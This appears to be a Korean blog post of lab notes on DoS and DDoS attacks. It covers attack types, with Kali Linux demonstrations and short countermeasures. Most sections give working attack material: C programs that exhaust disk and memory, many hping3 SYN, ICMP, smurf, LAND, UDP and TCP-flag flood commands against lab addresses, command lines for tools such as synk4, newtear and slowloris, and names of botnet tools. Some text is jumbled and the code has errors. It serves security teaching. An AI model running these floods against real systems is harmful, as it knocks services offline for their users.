DoS(Denial of Service) & DDoS(Distributed DoS)
■ 보안 이슈 관련 단어
DoS/DDoS, DB Attack, APT Attack, SPAM MAIL, WEB Hacking, Wireless Hacking
+ Big Data Security + IoT Security
■ 실습 환경
DoS/DDoS ---> Firewall ---> IPS/IDS ---> WAF ---> WEB Server(SELinux)
■ KaliLinux Tools(Attacker)
IDS : snort (# apt-get install snort)
IPS : suricata (# apt-get install suricata)
1. DoS & DDoS 개요
DoS(Denial of Service) 공격 (1:1)
서비스 거부 공격 : 공격자가 호스트의 H/W 또는 S/W 등을 무력하게 만들어 호스트에서 적법한
사용자의 서비스 요구를 거부하도록 만드는 일련의 과정이다.
DDoS(Distributed Denial of Service) 공격 (N:1) 분산 서비스 거부 공격 : 네트워크로 연결된 분산 환경에서 여러대의 컴퓨터를 이용하여 한대의 2. DoS 공격의 특징 3. DoS 공격의 유형 (1) 내부 공격 공격의 형태 - 시스템이 보유하고 있는 리소스를 점유하거나 모두 고갈시킴으로서 시스템 마비 발생 - 계정을 가진 내부 사용자에 의해 발생(로컬 계정을 가진 악의적인 사용자) - 고의보다는 실수로 인해 발생(개발자에 의한 경우) 공격의 종류 - 디스크 채우기 - 메모리 고갈 - 프로세스 만들기 (2) 외부 공격 공격의 형태 - 특정 포트를 사용하는 서비스를 마비 시킴(서비스 거부 공격) - 네트워크 기능 자체를 오동작 시킴 공격의 종류 응용 프로그램 수준 - Mail Bomb - Buffer Overflow - Java Applet Attack 프로토콜 수준 - SYN Flooding - Ping Flooding - Smurfing Attack 네트워크 수준 - UDP Storming - 네트워크 Bandwidth 공격 4. 트래픽 구성에 따른 DDoS 공격 유형 분석 순위 프로토콜 공격유형 점유율 1 UDP 악성 IRC Bot Flooding Source Spoofing 70% 5% 2 ICMP Fragementation Attack 10% 3 Garbage Packet Opentear, Fragement 7% 4 Service Attack GET/POST DDoS Attack 8% -> UDP를 통한 악성 IRC BOT 공격이 DDoS의 주류를 이루고 있고, 프로토콜 중 UDP가 전체 DDoS에 약 5. 공격 방법 구현 실습 ■ Local Attack(System Resource Exhaustion Attack) 공격 기법 (디스크 자원 고갈) 공격 원리 - 임이의 파일을 생성한 후 계속해서 파일의 크기를 증가 시켜 디스크를 쓸모 없는 데이터로 채우는 공격기법 공격 코드 및 실행 방법 # vi disk_attack.c #include <unistd.h> #include <sys/file.h> void main() { int attack; char buf[10000]; attack = create("root/temfile",0777); while(1) write(attack,buf,sizeof(buf)); }
# gcc -o disk_attack disk_attack.c # ./disk_attack 해결방안 - 문제가 되는 프로세스를 찾아 종료 - 각 사용자에 대한 quota 설정 - 공용 디렉토리(/tmp, /var/tmp)에 대하여 독립적인 파티션으로 구성 ■ Local Attack(System Resource Exhaustion Attack) 공격 기법 (메모리 고갈) 공격 원리 - 하나의 프로세스가 시스템에서 사용 가능한 모든 메모리 리소스를 고갈시킴으로서 시스템을 마비시키는 공격 기법 공격 코드 및 실행 방법 # vi memory_attack.c
#include <stdio.h> void main() { char *c; while(1) c=malloc(1000); }
공격대상 시스템에 대한 DoS 공격 (EX: BotNet)
70% 이상이다.
# gcc -o memory_attack memory_attack.c
# ./memory_attack
해결방안
- 각 사용자에 대한 최대 메모리 사용량을 제한한다.
- ulimit CMD,
■ Remote Attack
공격 기법 (SYN Flooding 공격)
공격 원리
- IP Spoofing을 이용하여 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈시키는 방법
SYN Flooding 공격이란
- SYN Flooding 공격은 TCP 프로토콜의 연결 설정 절차의 설계상의 취약성으로 인해 발생되는 것으로서
이에 대한 완전한 해결책은 없다고 봐야 한다.
- 피해를 감애하거나 최소화 하기 위해서 Anti DDoS 솔루션이나 거대 백본을 가진 Secure IDC로 서버들을
이전하여 임시 대응하는 상황이다. (Real-DDoS의 경우 또는 Spoofed DDoS)
공격용 툴
(Windows) Hdog(http://www.cnhonker.com)
Hgod 툴의 기능
- Spoofed/Non Spoofed Syn Flooding
- Spoofed/Non Spoofed UDP Flooding
- Spoofed/Non Spoofed ICMP/IGMP Flooding
- DrDoS
(Linux) Synk4(http://packetstorm.security.com/new-exploits/synful.c)
(http://user.cs.tu-berlin.de/~tqiu/exploits/synk4.c)
(KaliLinux)
# hping3 -O -S --rand-source 192.168.20.134 -p 21 --flood
해결방안
- 백 로그 큐의 크기를 증가, Half-Open Time을 적게 한다.
■ Remote Attack
공격기법 (Ping of Death)
공격 원리- ping을 이용하여 ICMP 패킷을 정상적인 크기보다 매우 크게 만들어 네트워크를 통과할 때 공격 네트워크에 도달하기 위해서는 단편화(Fragementation)이 되는데 이러한 경우 공격 대상 시스템은 이렇게 작은 조각 패킷을 처리하기 위하여 많은 로드가 발생되게 되는데 이른 노린 공격 방법이다.
# ping -n 10000 -l 65500 <Vitim's IP>
(KaliLinux)
# hping3 -1 -a 8.8.8.8 192.168.20.134 -i u1000 -d 65000
# hping3 -1 --rand-source 192.168.20.134 --flood -d 65000
■ Remote Attack
공격기법 (ICMP Smurfing)
공격 원리
- ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 기법
- Broadcast 로의 echo request를 보내 대량의 echo reply를 임의의 주소로 집중 전송되게 하는 원리
공격용 툴
smurf.c(http://packetstormsecurity.org/DoS/spike.sh.zip)
Hgod 프로그램을 사용하여 소스를 공격 대상 IP로 설정(IP Spoofing) 하고 대상자 네트워크를 공격하여야 한다.
# ./smurf <Victim's IP> bcastfile 0 5 64
해결방안
- Smurfing의 차단 방법은 모든 라우터의 내부(LAN쪽) interface 마다 Directed Broadcast 기능을 막아 준다.
- 자신의 내부 측(EX: 192.168.0.255)의 주소로 ICMP echo의 요청이 들어가지 못하도록 한다.
(KaliLinux)
# hping3 -1 -a 192.168.10.100 192.168.10.255 --flood
■ Remote Attack
공격기법 (Bonk/Boink, Teardrop)
공격원리
- 여러가지 프로토콜은 기본적으로 신뢰성을 높이고자 하는 목적을 가지고 있다. 신뢰성은 다음의 세가지로 크게 생각할 수 있다.
* 패킷의 순서가 올바른가?
* 중간에 손실된 패킷은 없는가?
* 손실된 패킷의 재전송 요구
- Bonk/Boink, TearDrop은 위의 사항을 위반함으로써 공격 대상 시스템에 DoS 공격을 가하게 된다.
- (Bonk 공격) Bonk는 처음 패킷을 1번으로 보낸 후 두번째, 세번째 패킷 모두 시퀀스 넘버를 1번으로 조작하여 공격
- (Boink 공격) Bonk의 개량 버전인 Boink는 처음 패킷을 1번으로 보낸 후 두번째 패킷은 101번, 세번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보낸 후 열번째 패킷은 1001번, 열한번째 패킷도 1001번, 열두번째 패킷도 1001번으로 전송
- (TearDrop 공격) TearDrop은 패킷을 겹치게 또는 일정한 간격의 데이터가 빠지게 전송한다.
Teardrop은 IP 패킷의 전송이 잘게 나누어졌다가 다시 재 조합하는 과정의 약점을 악용한 공격이다.
보통 IP 패킷은 하나의 큰 자료를 잘게 나누어서 보내게 되는데 이때 offset을 이용하여 나누었다가
도착지에서 offset을 이용하여 재 조합하게된다. 이때 동일한 offset을 겹치게 만들면 시스템은 교착되거나
충돌을 일으키거나 재기동된다. 과거 윈도우 95 버전에서 발생되었던 문제이다.
그러나 현재도 네트워크나 시스템에 큰 오버헤드를 발생시킨다.
공격방법
# ./newtear <공격IP> <대상IP> -s <소스포트> -t <대상포트> -n <공격개수>
(KaliLinux)
Bonk
TCP 헤더의 Sequence No를 조작해서 재조립을 못하게 만드는 방법
# hping3 192.168.10.100 -Q /* -Q : Bonk 기본 옵션 */
Boink
보안장비가 세번째 까지의 패킷을 검사하는 허점을 이용한 Bonk 변형 공격 방법
# hping3 -S 192.168.20.134 -M 1460 /* 세번째까지만 정상 seq 번호, 나머지는 조작된 seq 번호 */
# hping3 -S 192.168.20.134 -M 2920 /* 세번째까지만 정상 seq 번호, 나머지는 조작된 seq 번호 */
Teap Drop
# hping3 -1 192.168.20.134 -g 185
■ Remote Attack
공격기법 (LAND Attack) ( loop )
공격원리
- 패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소값을 공격자의 IP 주소값으로 똑같이 만들어서 공격 대상에게 보낸다.
시스템은 처음 시도된 Syn에 대한 Reply 패킷을 출발지 IP 주소 값을 참조하여 그 값을 목적지 IP 주소 값으로 설정하여 패킷을 보낸다.
하지만 이 값은 자기 자신의 IP 주소 값이므로 네트워크 밖으로 나가지 않고 자신에게 다시 돌아온다.
이 공격 방법은 Syn Flooding 처럼 동시 사용자 수를 점유 해버리며 CPU 부하까지 올리게 된다.
공격방법
- synk4를 이용하여 소스와 목적지 주소를 동일하게 세팅하여 공격
# ./synk4 192.168.1.100 30 1024 192.168.1.100 21
-> wireshark 패킷 캡쳐 분석
(KaliLinux)
# hping3 -1 -a 192.168.10.100 192.168.10.100 --flood
# hping3 -1 -a 192.168.10.100 192.168.10.100 -i u1000 -d 65000
■ Remote Attack
공격기법(Win Nuke)
공격원리
- 상대방 시스템에 139번 포트를 스캔하여 열려 있는지 확인하고 NetBIOS 패킷에 URG(Urgent)를 On 상태로 하여 패킷을 전송한다.
URG가 On 상태는 송수신 중간에 발생할 수 있는 비정상적인 상태를 의미한다. 서비스 중 <CTRL + Break> 또는 <CTRL + C>와 같은 역할을 한다.
- 공격 대상은 수 많은 Urgent 패킷을 인식하고 모든 시스템의 세션을 닫은 뒤 재 연결을 요구하게 된다. 이때 CPU에 과부하가 걸리게 된다. 이 공격은 심한 경우 시스템이 손상되기도 한다.
공격툴
- Wnuke5(winnuke.c)
Win Nuke 공격에 대해서
- 일반적으로 Out-of-band 플래그가 Padding된 패킷을 전송하게 되는데 윈도우 NT 박스 계열에서는
TCPIP.sys 모듈에서 Stop 0x0000000A를 발생 시키며 중단된다.
■ Remote Attack
공격기법 (UDP Flooding) - 현재도 공격가능
공격원리
- 대역폭 고갈을 위한 공격을 가장 많이 사용되는 DoS, DDoS 공격이다.
UDP Body에 Garbage Data를 Padding 하여 공격한다.
공격툴- UDP Flooder 2.00
(KaliLinux)
# hping3 -2 192.168.20.134 -p 139 --flood
# hping3 -2 -rand-source 192.168.20.134 -i u10000 -d 65000
■ Remote Attack
공격기법(Out of Band Flooding)
공격원리
- 일반적인 TCP/IP 세션을 연결하기 위한 과정에서 발생하는 TCP Flag를 제외하거나
비정상적인 순서로 발생되는 Flag의 조합을 통한 DDoS, DoS 해킹 공격
공격툴
- stream3.c
stream3.c 기능
* SYN Flooding
* NULL Flooding
* FIN Flooding
* ACK Flooding
* PUSH Flooding
* RST Flooding
* FIN/ACK Flooding
* XMAS Flooding
(KaliLinux)
# hping3 -S 192.168.20.134 -p 21 --flood
# hping3 -A 192.168.20.134 -p 21 --flood
# hping3 -P 192.168.20.134 -p 21 --flood
# hping3 -R 192.168.20.134 -p 21 --flood
# hping3 -U 192.168.20.134 -p 21 --flood
# hping3 -F 192.168.20.134 -p 21 --flood
# hping3 -SAPRUF 192.168.20.134 -p 21 --flood
■ Remote Attack
공격기법(Mail Bomb) - 현재도 많이 사용된다.
공격원리
- Mail Bomb은 흔히 폭탄 메일이라고 한다. 스팸 메일도 이와 같은 종류이다. 메일서버는 각 사용
자에게 일정한 양의 디스크 공간을 할당하는데, 메일이 폭주하여 디스크 공간을 가득 채우면 정작
받아야 하는 메일을 받을 수 없게 된다. 이때문에 스팸 메일은 DoS 공격이 될수 있다.
공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])
■ Remote Attack
공격기법(Checksum Error Flodding)
공격원리
- Checksum은 패킷내에 하나의 필드로 구성하며 데이터를 이진수(Binary Number)의 연속으로 간주하여
그 이진수의 합을 계산하는 방법이다. 예를 들어 16 bits checksum을 사용하는 경우 데이터를 16 bits
씩 나누어 16진수로 표현한 다음 그 합을 계산하여 16으로 나눈 나머지에 해당되는 값을 checksum으로 사용하는 방법이다.
- 정확하지 않은 checksum값을 대량으로 보내 시스템이나 네트워크에 성능(Performance)에 영향을 미친다.
공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])
■ Remote Attack
공격기술(IP Checksum Error)
공격원리- IP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
공격방법# ./ipchksum <소스IP> <타켓IP> <포트>
■ Remote Attack
공격기술(ICMP Checksum Error)
공격원리- ICMP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
공격방법# ./icmpchecksum <소스IP> <타켓IP> <포트>
■ Remote Attack
공격기술(UDP checksum Error)
공격원리- UDP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 분가능하게 한다.
공격 방법# ./udpchksum <target> <bcast file> <num packets> <packet delay> [dstport] [srcport] [psize]
■ Remote Attack
공격기술(botnet)
공격원리- Robot의 줄임말로 감염된 컴퓨터(Zombie, Hacker Army, troop)는 공격자(Bot Master, Bot C & C)에 의해 조종됨. 취약한 서버들이 주로 C & C(Command and Control Server)로 악용- 악성 프로그램 유포, 피싱/SPAM 메일 방송, 개인정보 유출, AdWare 및 SpyWare 설치, 서비스 거부 공격(DoS)등 수행
공격자 -----+-----> 공격자 명령 전달 서버
+-----> 공격자 명령 전달/파일 다운로드 서버
|
|
V
좀비(Zombie PC) ......
|
|
V
타겟시스템(Target)
■ Remote Attack
공격기술(Netbot Attack)
공격원리
- 중국발 Ransom(금전요구형) DDoS 공격 툴로 널리 알려진 툴이다.
- 서버와 빌더로 이루어져 있어 빌더로 악성코드를 제작하면 서버에 좀비처럼 통제가 가능하게 된다.
- 국내 게임, 포탈등 다양한 사이트들에 대한 공격이 이루어졌다.
공격툴- NB5.5Build.exe(NB 5.5)- NetBot_Cn.exe
■ Remote Attack
공격기술(TCP Slow Attack) - 지금도 공격이 가능하다.
공격원리
- TCP Slow Attack은 2009년 7월7일 있었던 7.7 대란에 사용되었던 기법으로 여러대의 좀비 PC들이
소량의 TCP 접속만을 전송하여 정상과 비정상적인 TCP 세션 요청을 구분하기 어렵게 시도하던 공격의 일환
공격툴
- 윈도우용 Perl 설치(Active Perl)
- www.perlmania.or.kr:8949/pmdocs/kys/perlstart.html
- # perl sloworis.pl -dns 192.168.0.100
■ Remote Attack
공격기술(HTTP Get Flooding)
공격원리
- HTTP 서비스를 제공하고 있는 웹 서버에 직접적인 영향을 비치는 공격방법으로 다량의 접속 요청을 보내서
정상적인 접속을 요청하는 사용자들의 접속을 방해하는 공격이다.- 1514바이트 최대 크기로 대상 사이트 공격,
데이터 영역의 문자열은 적당한 것을 사용하면 된다.
공격툴
- Low ORbit Lon Cannon(lolc)
'Learning > └◆리눅스 서버 보안' 카테고리의 다른 글
08.2_LOIC(Low Orbit lon Cannon) 툴을 사용한 DoS Attack(2017.03.15수정) (3) | 2017.03.15 |
---|---|
08.2_LOIC(Low Orbit lon Cannon) 툴을 사용한 DoS Attack (0) | 2017.03.15 |
02_로그파일의 내용 중 자신의 로그인한 기록을 지우는 방법 (0) | 2017.03.14 |
02_로그보안_03_URL_리눅스로그지우기 (0) | 2017.03.14 |